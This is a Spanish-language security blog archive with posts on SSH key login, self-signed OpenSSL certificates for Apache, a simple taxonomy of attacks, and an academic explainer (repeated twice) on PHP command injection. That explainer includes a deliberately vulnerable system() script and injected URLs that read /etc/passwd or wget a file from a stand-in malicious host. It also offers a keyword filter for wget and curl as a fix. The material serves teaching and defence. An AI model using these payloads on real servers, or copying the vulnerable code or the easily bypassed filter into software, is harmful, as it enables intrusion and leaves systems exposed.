Mi última clase de esta generación del diplomado, me hizo recordar un procedimiento que es muy sencillo pero también es muy util cuando se requiere pasar un script a múltiples servidores, o cuando se requiere de hacer respaldo y almacenarlo en un servidor dedicado para ello.
Si realizamos un respaldo, generalmente se realizan en la madrugada, por lo que impensable que nosotros tecleemos la contraseña a la hora que el respaldo se pase al servidor dedicado para ello. Para éste propósito podemos utilizar una autenticación por llaves.
Al utilizar este procedimiento al intentar conectarnos a un servidor, en vez de pedirnos password, se realizará la autenticación vía el esquema de llaves públicas y privadas.
A continuación, se describen los pasos que debe hacerse en el cliente:
1.- Crear directorios .ssh
[cliente]$ssh localhost
CTRL + C
(con esto se crearán el directorio .ssh en el $HOME, sin la necesidad de preocuparnos de hacerlo manualmente y colocar los permisos).
2.- Generamos llave pública y la privada
[cliente]$cd $HOME/.ssh
[cliente]$ssh-keygen
3.- Copiamos la llave pública al servidor
[cliente]$scp id_rsa.pub 45.28.75.124:/root/.ssh
Ahora, describiremos las instrucciones que deben ejecutarse en el servidor:
4.- Crear directorios .ssh
[servidor]$ssh localhost
CTRL + C
(con esto se crearán el directorio .ssh en el $HOME, sin la necesidad de preocuparnos de hacerlo manualmente y colocar los permisos).
5.- Editar el archivo /etc/ssh/sshd_config y descomentar las siguientes directivas:
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
6.- Agregar al contenido de la llave pública que pasamos en el punto 3 al archivo authorized_keys:
[servidor]$cd $HOME/.ssh
[servidor]$cat id_rsa.pub >> authorized_keys
7.- Por último reiniciamos el sshd
[servidor]$/etc/rc.d/rc.sshd restart (slackware)
[servidor]$service sshd restart (fedora/redhat)
Una vez que hemos terminado, solo faltaría la prueba de oro, probarlo :D
[cliente]ssh direccionIPServidor
Si has podido ingresar al servidor sin la necesidad de colocar el password, muchísimas felicidades!!!!!!!
Tips: utilizar el mismo usuario en el cliente y en el servidor.
Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas
6 de diciembre de 2010
12 de octubre de 2009
Certificados con OpenSSL

¿Qué es?
Es un documento digital mediante el cual un tercero (AC [Autoridad Certificadora, por ejemplo Verisign]) garantiza la vinculación entre la identidad de un ente y su llave pública.
Si citamos un ejemplo de la vida real, podemos tomar el del "certificado de estudios", en el que un tercero (SEP), garantiza que cierta persona ha cubierto cierto nivel de estudios.
Otro ejemplo sería la credencial de elector, el IFE es el tercero que garantiza la identidad (entre otras cosas) de la persona a la cual se la expidió.
¿Cómo se hace?
Un certificado principalmente se compone de 3 partes:
1.- Llave privada
2.- CSR (Certificate Sign Request - Requerimiento de Firma de Certificado)
3.- CRT (Certificado como tal)
Cabe recalcar que el paso número 3, corre a cuenta de la AC (Autoridad Certificadora), aunque también podemos hacer un certificado "autofirmado"; es decir, que acudimos con un tercero para la certificación, sino que lo hacemos nosotros mismos.
Para efectos de éste artículo, se realizará un certificado con OpenSSl para apache.
A continuación escribiremos los comandos necesarios para la generación del certificado, tomando en cuenta que el dominio para el cual generaremos el certificado es: www.seguridad.com
1.- Llave privada
Teclear en la cosola de Linux/Unix:
a.- Generar archivos con datos aleatorios
$ cat /dev/urandom > rand1.dat
$ cat /dev/urandom > rand2.dat
$ cat /dev/urandom > rand3.dat
b.- Generar llave privada
$ openssl genrsa –rand rand1.dat:rand2.dat:rand3.dat \
-out www.seguridadhost.com.key
2.- CSR (Certificate Sign Request - Requerimiento de Firma de Certificado)
$ openssl req –new –key www.seguridadhost.com.key \
-out www.seguridad.com.csr
3.- CRT (Certificado como tal)
Si el certificado no es autofirmado se recurre a la AC (Autoridad Certificadora), por ejemplo Verisign para generar el certificado.Si el certificado es autofirmado, hacemos lo siguiente:
$ openssl x509 –req –days 365 \
–in www.seguridadhost.com.csr
-signkey www.seguridadhost.com.key \
-out www.seguridadhost.com.crt
¿Cómo se instala?
Como es un certificado, debe ser instalado bajo el protocolo 443 (https). Para ello tenemos que hacer los siguientes pasos:
1.- Descomentar la línea que tenga el módulo de ssl en el archivo httpd.conf, sino existiera esta línea seguramente es porque no está instalado el módulo ssl.
LoadModule ssl_module lib/httpd/modules/mod_ssl.so
(Dependiendo del sistema operativo, la ruta del mod_ssl.so podría cambiar)
2.- En el archivo httpd.conf, hacer la referencia hacia el archivo que contendrá el hostvirtual de ssl.
En el httpd.conf existe una línea como esta:
#Include /etc/httpd/extra/httpd-ssl.conf
Aquí hay 2 opciones, descomentar esta línea y posteriormente editar el archivo httpd-ssl.conf (paso número 3).
3.- Editar el archivo /etc/httpd/extra/httpd-ssl.conf
Un ejemplo de lo que deberá contener el archivo para la edición del host virtual:
<VirtualHost *:443>
ServerAdmin hostmaster@seguridadhost.com
DocumentRoot /var/www/htdocs/vhost/www.seguridadhost.com
ServerName www.seguridadhost.com
ErrorLog /var/log/httpd/error_log
CustomLog /var/log/httpd/log common
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.seguridadhost.com.crt
SSLCertificateKeyFile /etc/ssl/certs/www.seguridadhost.com.key
<Directory /var/www/htdocs/vhost/www.seguridadhost.com>
Options ExecCGI FollowSymLinks
AddHandler cgi-script .cgi
AllowOverride all
Allow from all
Order allow,deny
</Directory>
</VirtualHost>
Las 3 líneas importantes que se tienen que considerar con las que están en negritas:
<VirtualHost *:443>
Se define el host virtual
SSLCertificateFile /etc/ssl/certs/www.seguridadhost.com.crt
Se hace la referencia del certificado creado
SSLCertificateKeyFile /etc/ssl/certs/www.seguridadhost.com.key
Se hace la referencia de la llave creada
4.- Por último se tendrá que reiniciar el servicio de apache.
apachectl stop
apachectl start-ssl
Cabe aclarar que en algunas distribuciones start-ssl es igual a start
7 de octubre de 2009
Inyección comandos en PHP
* Toda la información contenida en este artículo es con fines académicos.
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.
Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.
Un ejemplo práctico:
Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio
<?
if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");
echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";
?>
NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.
En la url del navegador se escribirá algo como sigue:
http://misitio.net/dirs/script.php?directorio=directorionuevo
("directorionuevo" es el directorio recién creado)
En la línea del código:
system ("mkdir {$_GET['directorio']}");
se ejecuta un comando de sistema operativo con la función system para crear el directorio.
Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:
mkdir directorionuevo
Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:
mkdir directorionuevo; pwd
Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd
con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).
/var/www/html/dirs/
Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.
Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777
Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd
Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.
Solución
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.
Aquí presentamos algunas soluciones:
En este caso específico, usar la funcion mkdir de php, en vez del comando system para ejecutar un comando de sistema operativo
No usar las funciones shell_exec,exec,system,readfile,passthru,escapeshellcmd,proc_open,posix_uname,posix_getuid,posix_geteuid, posix_getgid,getcwd para comandos en sistema operativo
Si se administran host virtuales, en el archivo php.ini agregar las funciones anteriores en la directiva "disable_functions"
Revisar en access_log comportamnientos extraños y por medi de fw bloquear las ip's
Tambien para evitar la inyección de wget, GET, curl, y demás comandos para descargar software se puede agregar un script en el php.ini en la directiva, auto_prepend_file para que cuando se detecten en la url de cualquier script php, se omita la ejecución para no descargar el software:
<?
foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit;
}
?>
Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.
Esperamos sus comentarios.
En esta ocasión hablaremos de una gran problemática que existe al momento de desarrollar con php y se utilizan funciones como system, exec, etc.
Estas funciones tiene la facultad de ejecutar desde php comandos en sistema operativo, el problema es que si no tenemos las validaciones correctas, nos pueden hacer una inyección de código y ejecutar comandos arbitratiamente en el servidor.
Un ejemplo práctico:
Este programa lo que hace es tomar una variable por médoto get (también aplica para post con los cambios necesarios) y crea un directorio
<?
if (trim($_GET['directorio'])!=NULL) {
system ("mkdir {$_GET['directorio']}");
echo "directorio creado {$_GET['directorio']}";
}
else
echo "directorio vacio";
?>
NOTA IMPORTANTE: Se actúa en el supuesto de que el directorio donde se encuentra el script inicial tiene permisos 777 o pertenece al usuario que ejecuta el servicio de apache (generalmente apache), para poder crear los directorios.
En la url del navegador se escribirá algo como sigue:
http://misitio.net/dirs/script.php?directorio=directorionuevo
("directorionuevo" es el directorio recién creado)
En la línea del código:
system ("mkdir {$_GET['directorio']}");
se ejecuta un comando de sistema operativo con la función system para crear el directorio.
Si sustituitmos la ejecución del script desde el navegador en la función system tendremos:
mkdir directorionuevo
Nosotros sabemos que en linux/unix, podemos ejecutar más de un comando en una misma línea, por ejemplo:
mkdir directorionuevo; pwd
Bien, ahora nosotros podemos hacer lo mismo desde la url del navegador:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20pwd
con esto nos creará el directorio "directorionuevo" como era lo esperado, y además, nos dará la ruta desde donde se está ejecutando el script (comando pwd).
/var/www/html/dirs/
Nota: El "%20" representa un espacio en blanco, en algunos navegadores ya no es necesario poner éste código, sino simplemente se debe colocar el espacio en blanco.
Además podemos hacer otras cosas como buscar directorios o archivos con permisos 777:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20find%20-perm%20777
Ver el archivo de /etc/password, que a futuro nos puede servir para saber que usuarios válidos tiene y hacer un ataque brute force:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20cat%20/etc/passwd
Lo más preocupante es que se puede descargar malware a nuestro servidor, para hacerlo parte de una botnet para atacar a otros equipos o simplemente mandar spam:
http://misitio.net/dirs/script.php?directorio=directorionuevo;%20wget%20http://sitiomalo.org/malware.txt
El archivo malware.txt se descargará y posteriormente podrá ser ejecutado.
Solución
Lo anterior es de gran preocupación porque se pueden hacer varias cosas más como borrar archivos, nuestro server puede ser víctima de un ataque DOS, etc.
Aquí presentamos algunas soluciones:
<?
foreach ($_GET as $variable => $valor)
if (eregi("wget |curl |GET ", $valor)) {
exit;
}
?>
Lo que hace el script es recorrer el arreglo GET (todas sus variables), a fin de que se detecten esos comandos y se evite la descarga del malware.
Hay software del que ya se conocen vulnerabilidades de este tipo como Mambo y PhpNuke, por lo que es recomendable no usarlos.
Esperamos sus comentarios.
6 de octubre de 2009
Ataques (clasificación simple)

Seguramente todos hemos escuchado alguna vez sobre que alguien o algo fue atacado, por unos seres malévolos y sin escrúpulos.
Se ven en películas a misteriosos seres llamados hackers (de los cuales no hablaremos en esta ocasión), que se encargan de poner en tela de juicio la fortaleza de sistemas de seguridad en las empresas o en los gobiernos, realizando numerosos ataques con los cuales vulneran nuestra seguridad.
Pero si nos preguntáramos ¿qué es un ataque?, ¿qué podríamos decir?.
Un ataque es la acción de explotar una vulnerabilidad. Pongamos una analogía para ejemplificarlo:
En la serie "El señor de los Anillos", en la segunda película (Las torres gemelas), el rey de Rojan, trata de proteger a su pueblo en el "Avismo de Helm", que cuenta con una muralla impenetrable, pero tiene un punto débil el cual es un simple desagüe.
No importa que tan bien haya estado el muro porque finalmente se explotó una vulnerabilidad (el desagüe) y con ello se logra pasar por la poderosa muralla, haciendo estallar una bomba.
Entre los ataques, independientemente de su nombre coloquial (DOS, spam, OS Finger Print, etc), podemos hacer la siguiente clasificación:
Interrupción
Este ataque consiste en que una solicitud de información o un flujo normal de información, sea detenido por un ente extraño; por ejemplo: dejar a alguien sin red (desconectar el cable)
Intercepción
Este ataque también se le llama "Man In The Middle" (Hombre En Medio). Consiste en que hay un intruso en el canal para obtener parte del mensaje o incluso el mensaje completo. Por ejemplo, podemos estar haciendo una transferencia desde el portal web de nuestro banco y entonces puede haber alguien que este capturando el tráfico de la red y con ello nuestro NIP y demás datos. Esto comúnmente se lleva a cabo con un programa especial llamado sniffer!!!
Modificación
El siguiente ataque, llamado de modificación, es otra variación del MITM descrito arriba, pero la diferencia es que toma el mensaje, después hace una modificación y posteriormente es entregado al destinatario.
Fabricación
Aunque no exista ningún mensaje, se genera alguno simulando que se ha creado desde el origen o simplemente se genera para obtener algún tipo de recurso.
Por ejemplo, el intentar entrar a una cuenta de correo con múltiples combinaciones (Brute Force), mandando spam, etc.
Más adelante nos avocaremos a varios de los diferentes ataques que hay, para ejemplificarlos y tener una idea más certera de lo que provocan.
Esperamos tus comentarios.
Suscribirse a:
Entradas (Atom)
